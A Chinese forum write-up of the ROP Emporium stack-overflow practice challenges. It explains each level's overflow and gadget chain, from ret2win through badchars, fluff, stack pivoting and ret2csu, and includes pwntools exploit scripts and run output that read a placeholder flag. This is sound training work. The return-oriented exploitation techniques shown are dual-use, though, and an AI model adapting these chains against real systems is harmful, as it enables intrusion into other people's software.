-
-
[原创]栈溢出练习:ROP Emporium
-
发表于: 2024-8-9 15:54 8289
-
个人博客原文链接:https://www.kn0sky.com/?p=938527f1-03c4-4349-8110-5510f7d4b84a
我第一次做这套练习是在初学pwn的时候,隐约记得当时做了一半放弃是卡在了fluff上,当时很复杂,没耐心搞懂bextr和xlat指令就放弃了,现在回过头来,补全当初
这套练习非常适合新手用于栈溢出的学习练习和查缺补漏,关于栈溢出的8个情况,从最基础的覆盖返回地址,到rop,到利用一些机制完成受限的rop,例如栈迁移扩大可控空间,csu操纵寄存器等
本文分享中,非常简单的地方就写的比较简单,不浪费篇幅,复杂的地方分析的内容会比较多
缓解机制:【NX】
漏洞函数:
read读取0x38字节到变量rbp-0x20中,存在溢出
程序存在后门函数:
exp:
运行结果:
缓解机制:【NX】
程序:
read调用存在溢出
程序提供了一些辅助代码:
目标是读取flag.txt,这里需要rop修改一下rdi直接跳转到syscall的call上即可
exp:
运行结果:
缓解机制:【NX】
程序:
read调用存在溢出
程序提供了一些辅助代码:
目标是解密flag,看这个意思是让我连续调用三个函数,并用正确的顺序和参数调用
exp:
运行结果:
缓解机制:【NX】
程序:漏洞函数位于so库中
read调用存在溢出
程序提供了一些辅助代码:
这里的print_file:
目标是读取flag.txt,这里需要rop修改一下rdi指向flag.txt文件名,直接跳转到print_file的call上即可
exp:
运行结果:
缓解机制:【NX】
程序:
read调用存在溢出,过滤了4个字符:'x', 'g', 'a', '.'
,漏洞程序在so库里
程序提供了一些辅助代码:
目标是读取flag.txt,这里的意思应该是,通过输入其他的数值,然后通过计算来绕过过滤,出现过滤字符会变成EB
有提供print_file的链接,可以调用这个函数,目标就是rop到目标函数!
这里参数提供文件名,需要我们自己构造参数
思路是,无脑给flag.txt字符串进行异或,绕过限制,然后调整r14和r15指针,去逐个异或解密,然后跳转到print_file
要是觉得太长了,可以优化一下,部分位不进行加密,只解密过滤的位,这里图省事全处理了
exp:
运行结果:
缓解机制:【NX】
程序:(位于so文件)
read调用存在溢出
程序提供了一些辅助代码:
目标是读取flag.txt,这里也提供了print_file函数可以用,需要参数flag.txt字符串指针
xlat:以al为偏移,索引bx指向内存中的字节,可以用来从内存里取字节,需要al和bx的值可控
bextr:位域索引,第一个源操作数是原数据,第二个源操作数是索引开始位置(8位)和长度,这里可以控制rbx的值
其他有用的gadget:
stosb可以保存1个字节从al到rdi指向的地址,rdi可以控制,设置为随便一个可写地址就行
xlat的效果是,al = [al+rbx],rbx是数组,从rbx中用al索引一个字节到al上,al这里初始值是0xb,需要rbx可控,就能控制al的值
bextr可以用来控制rbx的值,rcx填写目标地址-0x3e2f的值,rdx填写0x4000,表示把rcx的值全部复制给rbx
到此,rbx可控,从而al可控,从而可以写入字节到任意可写内存,开始一步一步实现:
控制rbx:
控制al:
保存al到地址:
保存字符串到地址:
完整exp:
运行结果:
缓解机制:【NX】
程序:
main:
这里申请了巨大无比的内存传入
pwnme:
read调用了2次,第一次是读取到一个缓冲区里,第二次是读取到栈上,可溢出长度非常短
程序提供了缓冲区的地址,这是个栈迁移pivot的示例练习,程序执行输出信息:
程序提供了一些辅助代码:
提供了_foothold_function函数,在so库里,查看so该函数:
该函数毫无意义,但是可以用于延迟绑定后提供该so库的地址泄露
so库里还有个后门函数:
思路现在就是:
执行_foothold_function函数,
打印_foothold_function的got表,泄露地址,拿到win函数地址
返回到pwnme函数的末尾read函数调用
调用win函数
在此之前,需要进行栈迁移:
exp:
运行结果:
缓解机制:【NX】
程序:pwnme在so库里
read调用存在溢出,可以溢出很大空间
so库还提供了后门函数:(太长了,就用伪代码吧)
elf里的有用片段:
调用后门函数,但是参数是错误的
题目的意图很明确,需要满足参数条件后,直接调用win函数
gadgets不满足目标:没法修改这三个值
main函数下面一点可以看到csu函数,这里提供了有用的片段:
上半部分可以给这三个寄存器赋值然后call一个地址,需要我们能控制r13,r14,r15三个寄存器,以及rbx=0,r12=call win函数
下半部分能满足我们要控制的寄存器的要求
思路:
但是这里存在一个问题,就是赋值rdi的那个指令:
只能赋值4字节,高4字节赋值不了,所以不能通过call [r12+rbx*8]调用win函数
这里需要解引用到一个无关紧要的函数上
小知识点,需要解引用找函数跳板去elf的LOAD段去找:
这里保存了很多函数的地址,解引用拿到的就是函数本身,其中0x600E40的函数dt_fini:
不会对我们的参数和布局产生影响,太适合了
接下来是:
这里rbp和rbx都是之前控制的,我们需要让这个跳转不成立,就需要rbx+1==rbp的值
完成之后,再rsp+8,pop6个值之后就是下一个返回地址,从这里去修改rdi为目标值,然后跳转去win函数即可
exp:
运行结果:
8个练习最有难度的对我来说就是fluff去理解两个陌生的指令,其他的嘛,基本上就是出啥躲啥
我愿称之为:一次不错的查漏补缺之旅
#!/bin/python3
from
pwn
import
*
warnings.filterwarnings(action
=
'ignore'
,category
=
BytesWarning)
#context.log_level = 'debug'
FILE_NAME
=
"./ret2win"
REMOTE_HOST
=
""
REMOTE_PORT
=
0
elf
=
context.binary
=
ELF(FILE_NAME)
#libc = elf.libc
gs
=
'''
continue
'''
def
start():
if
args.REMOTE:
return
remote(REMOTE_HOST,REMOTE_PORT)
if
args.GDB:
return
gdb.debug(elf.path, gdbscript
=
gs)
else
:
return
process(elf.path)
# =======================================
io
=
start()
# =============================================================================
# ============== exploit ===================
win
=
0x40075A
payload
=
cyclic(
0x28
)
+
pack(win)
io.sendline(payload)
# =============================================================================
io.interactive()
#!/bin/python3
from
pwn
import
*
warnings.filterwarnings(action
=
'ignore'
,category
=
BytesWarning)
#context.log_level = 'debug'
FILE_NAME
=
"./ret2win"
REMOTE_HOST
=
""
REMOTE_PORT
=
0
elf
=
context.binary
=
ELF(FILE_NAME)
#libc = elf.libc
gs
=
'''
continue
'''
def
start():
if
args.REMOTE:
return
remote(REMOTE_HOST,REMOTE_PORT)
if
args.GDB:
return
gdb.debug(elf.path, gdbscript
=
gs)
else
:
return
process(elf.path)
# =======================================
io
=
start()
# =============================================================================
# ============== exploit ===================
win
=
0x40075A
payload
=
cyclic(
0x28
)
+
pack(win)
io.sendline(payload)
# =============================================================================
io.interactive()
ret2win ➤ .
/
exp_cli.py
[
*
]
'/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win'
Arch: amd64
-
64
-
little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (
0x400000
)
[
+
] Starting local process
'/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win'
: pid
3847
[
*
] Switching to interactive mode
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit
56
bytes of user
input
into
32
bytes of stack
buffer
!
What could possibly go wrong?
You there, may I have your
input
please? And don
't worry about null bytes, we'
re using read()!
> Thank you!
Well done! Here's your flag:
[
*
] Process
'/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win'
stopped with exit code
0
(pid
3847
)
ROPE{a_placeholder_32byte_flag!}
[
*
] Got EOF
while
reading
in
interactive
ret2win ➤ .
/
exp_cli.py
[
*
]
'/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win'
Arch: amd64
-
64
-
little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (
0x400000
)
[
+
] Starting local process
'/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win'
: pid
3847
[
*
] Switching to interactive mode
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit
56
bytes of user
input
into
32
bytes of stack
buffer
!
What could possibly go wrong?
You there, may I have your
input
please? And don
't worry about null bytes, we'
re using read()!
> Thank you!
Well done! Here's your flag:
[
*
] Process
'/home/selph/ctf/rop_emporium_all_challenges/ret2win/ret2win'
stopped with exit code
0
(pid
3847
)
ROPE{a_placeholder_32byte_flag!}
[
*
] Got EOF
while
reading
in
interactive
int
__fastcall print_file(
const
char
*a1)
{
char
s[40];
// [rsp+10h] [rbp-30h] BYREF
FILE
*stream;
// [rsp+38h] [rbp-8h]
stream =
fopen
(a1,
"r"
);
if
( !stream )
{
printf
(
"Failed to open file: %s\n"
, a1);
exit
(1);
}
fgets
(s, 33, stream);
puts
(s);
return
fclose
(stream);
}
int
__fastcall print_file(
const
char
*a1)
{
char
s[40];
// [rsp+10h] [rbp-30h] BYREF
FILE
*stream;
// [rsp+38h] [rbp-8h]
stream =
fopen
(a1,
"r"
);
if
( !stream )
{
printf
(
"Failed to open file: %s\n"
, a1);
exit
(1);
}
fgets
(s, 33, stream);
puts
(s);
return
fclose
(stream);
}
#!/bin/python3
from
Crypto.Util.number
import
*
from
pwn
import
*
warnings.filterwarnings(action
=
'ignore'
,category
=
BytesWarning)
context.log_level
=
'debug'
FILE_NAME
=
"badchars"
REMOTE_HOST
=
""
REMOTE_PORT
=
0
elf
=
context.binary
=
ELF(FILE_NAME)
libc
=
elf.libc
gs
=
'''
continue
'''
def
start():
if
args.REMOTE:
return
remote(REMOTE_HOST,REMOTE_PORT)
if
args.GDB:
return
gdb.debug(elf.path, gdbscript
=
gs)
else
:
return
process(elf.path)
# =======================================
io
=
start()
# =============================================================================
# ============== exploit ===================
"""
.text:0000000000400628 usefulGadgets:
.text:0000000000400628 xor [r15], r14b
.text:000000000040062B retn
.text:000000000040062C ; ---------------------------------------------------------------------------
.text:000000000040062C add [r15], r14b
.text:000000000040062F retn
.text:0000000000400630 ; ---------------------------------------------------------------------------
.text:0000000000400630 sub [r15], r14b
.text:0000000000400633 retn
.text:0000000000400634
.text:0000000000400634 ; =============== S U B R O U T I N E =======================================
.text:0000000000400634
.text:0000000000400634
.text:0000000000400634 sub_400634 proc near
.text:0000000000400634 mov [r13+0], r12
.text:0000000000400638 retn
.text:0000000000400638 sub_400634 endp
"""
# filter the x g a .
buf
=
0x601100
i
=
0
rop
=
ROP(elf,badchars
=
b
'xga.'
)
rop.rbp
=
buf
-
0x100
rop.raw(
0x40069c
)
rop.raw(bytes_to_long("
".join(reversed("
flag.txt")).encode()) ^
0x1111111111111111
)
rop.raw(buf)
rop.raw(
0x11
)
rop.raw(buf
+
i)
rop.raw(
0x000000000400634
)
# 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
rop.raw(
0x000000000400628
)
i
+
=
1
while
i<
8
:
rop.raw(
0x00000000004006a2
)
# 0x00000000004006a2 : pop r15 ; ret
rop.raw(buf
+
i)
rop.raw(
0x000000000400628
)
# 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
i
+
=
1
rop.rdi
=
buf
rop.raw(elf.plt.print_file)
print
(rop.dump())
payload
=
cyclic(
0x28
)
+
rop.chain()
io.sendlineafter(b
"> "
,payload)
io.interactive()
#!/bin/python3
from
Crypto.Util.number
import
*
from
pwn
import
*
warnings.filterwarnings(action
=
'ignore'
,category
=
BytesWarning)
context.log_level
=
'debug'
FILE_NAME
=
"badchars"
REMOTE_HOST
=
""
REMOTE_PORT
=
0
elf
=
context.binary
=
ELF(FILE_NAME)
libc
=
elf.libc
gs
=
'''
continue
'''
def
start():
if
args.REMOTE:
return
remote(REMOTE_HOST,REMOTE_PORT)
if
args.GDB:
return
gdb.debug(elf.path, gdbscript
=
gs)
else
:
return
process(elf.path)
# =======================================
io
=
start()
# =============================================================================
# ============== exploit ===================
"""
.text:0000000000400628 usefulGadgets:
.text:0000000000400628 xor [r15], r14b
.text:000000000040062B retn
.text:000000000040062C ; ---------------------------------------------------------------------------
.text:000000000040062C add [r15], r14b
.text:000000000040062F retn
.text:0000000000400630 ; ---------------------------------------------------------------------------
.text:0000000000400630 sub [r15], r14b
.text:0000000000400633 retn
.text:0000000000400634
.text:0000000000400634 ; =============== S U B R O U T I N E =======================================
.text:0000000000400634
.text:0000000000400634
.text:0000000000400634 sub_400634 proc near
.text:0000000000400634 mov [r13+0], r12
.text:0000000000400638 retn
.text:0000000000400638 sub_400634 endp
"""
# filter the x g a .
buf
=
0x601100
i
=
0
rop
=
ROP(elf,badchars
=
b
'xga.'
)
rop.rbp
=
buf
-
0x100
rop.raw(
0x40069c
)
rop.raw(bytes_to_long("
".join(reversed("
flag.txt")).encode()) ^
0x1111111111111111
)
rop.raw(buf)
rop.raw(
0x11
)
rop.raw(buf
+
i)
rop.raw(
0x000000000400634
)
# 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
rop.raw(
0x000000000400628
)
i
+
=
1
while
i<
8
:
rop.raw(
0x00000000004006a2
)
# 0x00000000004006a2 : pop r15 ; ret
rop.raw(buf
+
i)
rop.raw(
0x000000000400628
)
# 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
i
+
=
1
rop.rdi
=
buf
rop.raw(elf.plt.print_file)
print
(rop.dump())
payload
=
cyclic(
0x28
)
+
rop.chain()
io.sendlineafter(b
"> "
,payload)
io.interactive()
def
set_rbx(b:
int
):
p
=
b""
p
+
=
pack(bextr_ret)
p
+
=
pack(
0x4000
)
p
+
=
pack(b
-
0x3ef2
)
return
p
def
set_rbx(b:
int
):
p
=
b""
p
+
=
pack(bextr_ret)
p
+
=
pack(
0x4000
)
p
+
=
pack(b
-
0x3ef2
)
return
p
def
set_al(a:bytes,offset:
int
):
tmp
=
next
(elf.search(a))
-
offset
#print(hex(tmp))
p
=
pack(xlatb_ret)
return
set_rbx(tmp)
+
p
def
set_al(a:bytes,offset:
int
):
tmp
=
next
(elf.search(a))
-
offset
#print(hex(tmp))
p
=
pack(xlatb_ret)
return
set_rbx(tmp)
+
p
is_first
=
True
def
save_al(val:bytes,offset:
int
):
global
is_first
p
=
b""
if
is_first:
p
+
=
pack(pop_rdi_ret)
p
+
=
pack(
buffer
)
is_first
=
False
p
+
=
pack(stosb_rdi_al_ret)
return
set_al(val,offset)
+
p
is_first
=
True
def
save_al(val:bytes,offset:
int
):
global
is_first
p
=
b""
if
is_first:
p
+
=
pack(pop_rdi_ret)
p
+
=
pack(
buffer
)
is_first
=
False
p
+
=
pack(stosb_rdi_al_ret)
return
set_al(val,offset)
+
p
def
write_str(s:bytes):
p
=
b""
last_al
=
0xb
for
i
in
s:
p
+
=
save_al(p8(i),last_al)
last_al
=
i
return
p